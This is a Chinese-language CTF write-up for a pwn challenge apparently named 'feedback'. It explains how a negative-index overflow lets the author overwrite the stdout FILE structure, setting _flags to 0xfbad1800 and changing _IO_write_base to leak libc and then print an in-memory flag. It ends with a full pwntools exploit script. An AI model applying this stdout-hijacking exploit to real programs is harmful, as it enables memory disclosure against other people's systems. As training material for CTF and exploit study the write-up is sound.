本文最后更新于 2024年10月23日 晚上
利用I/O进行libc的泄露
moe最后一题,无free,堆,存在索引的溢出,可以更改i/o的结构。
先从gdb看一下FILE的基本结构
1
| 指令:p/x *(FILE*)&_IO_2_1_stdout_
|

_flags 的基础值一般为0xfbad0000(问就是规定的)
它被定义为MAGIC
1 2 3 4
| #define _IO_MAGIC 0xFBAD0000 #define _IO_NO_WRITES 8 #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000
|
flags是在MAGIC的基础上,经过各种与运算(为了满足或不满足一些条件)
eg:第一个判断if(MAGIC & _NO_WRITES)来进行判断,如果非空,则会使得该函数不可写,也就是直接退出。
第二个判断也是这样子,为了能够输出,要使得第二个判断为真,执行
第三个判断,主要是想不走else if 而是正常往下执行,else那里如果想要满足的话更改的量太多

所以为了满足以上判断,flags=0xfbad1800
好,接下来看题,保护全开
这里直接把flag读入到一个位置,注意那个地址的计算方式应该是&puts+186972*8(因为它是指针型变量)

当然,这里也可以看到,186971*8=0x16d2e0

vuln函数,只存在index的数据的反向溢出

可以看到feedback_list就在bss段上,距离stdout为0x40,也就是index=-8的区域

1
| payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
|
把write_base的后两位改为00,来定向输出这些,可以看出,它是逐内存单元进行输出的。(除了定向输出,其实还有别的作用哦)


其实最终是为了调用这里。

泄露完libc后,可以找到对应的&puts是什么,然后讲put的指针
1 2 3
| char* _IO_write_base; char* _IO_write_ptr; char* _IO_write_end;
|
设置缓冲区为write_base -> write_ptr
更改后:

关于为什么第二次需要改那么多,第一次只改那么一点点的原因:
1 2
| _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base) 这个是调用的write函数,第二个参数为输出的地址,第三个为长度。
|
长度是这两个相减。
存疑:为什么要存在ptr这个变量,为啥补直接用end-start来作为输出长度。
当正常输出的调试时,发现这里的值都不发生变化。
//看了别人的文章:

这里buf的空间大小size使用end-base申请的

后续:

最后的结果:

在这一系列调用完之后,才会执行puts函数的主体,实际调用了一个IO_file_write,但这一过程中,write并没有用到file的结构体。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import* context(log_level='debug',arch='amd64',os='linux') p=process('./feedback')
sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
libc = ELF('/home/kali/Desktop/libc-2.31.so')
sd('-8') rl() payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
sl(payload) stdout=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stdout)) libc_base = stdout - libc.sym['_IO_2_1_stdin_'] flag_addr = libc_base + libc.sym['puts'] + 0x16d2e0 print(hex(libc_base))
sd('-8') rl()
payload = p64(0xfbad1800) + p64(0)*3 +p64(flag_addr)+ p64(flag_addr+0x50)
sl(payload) p.interactive()
|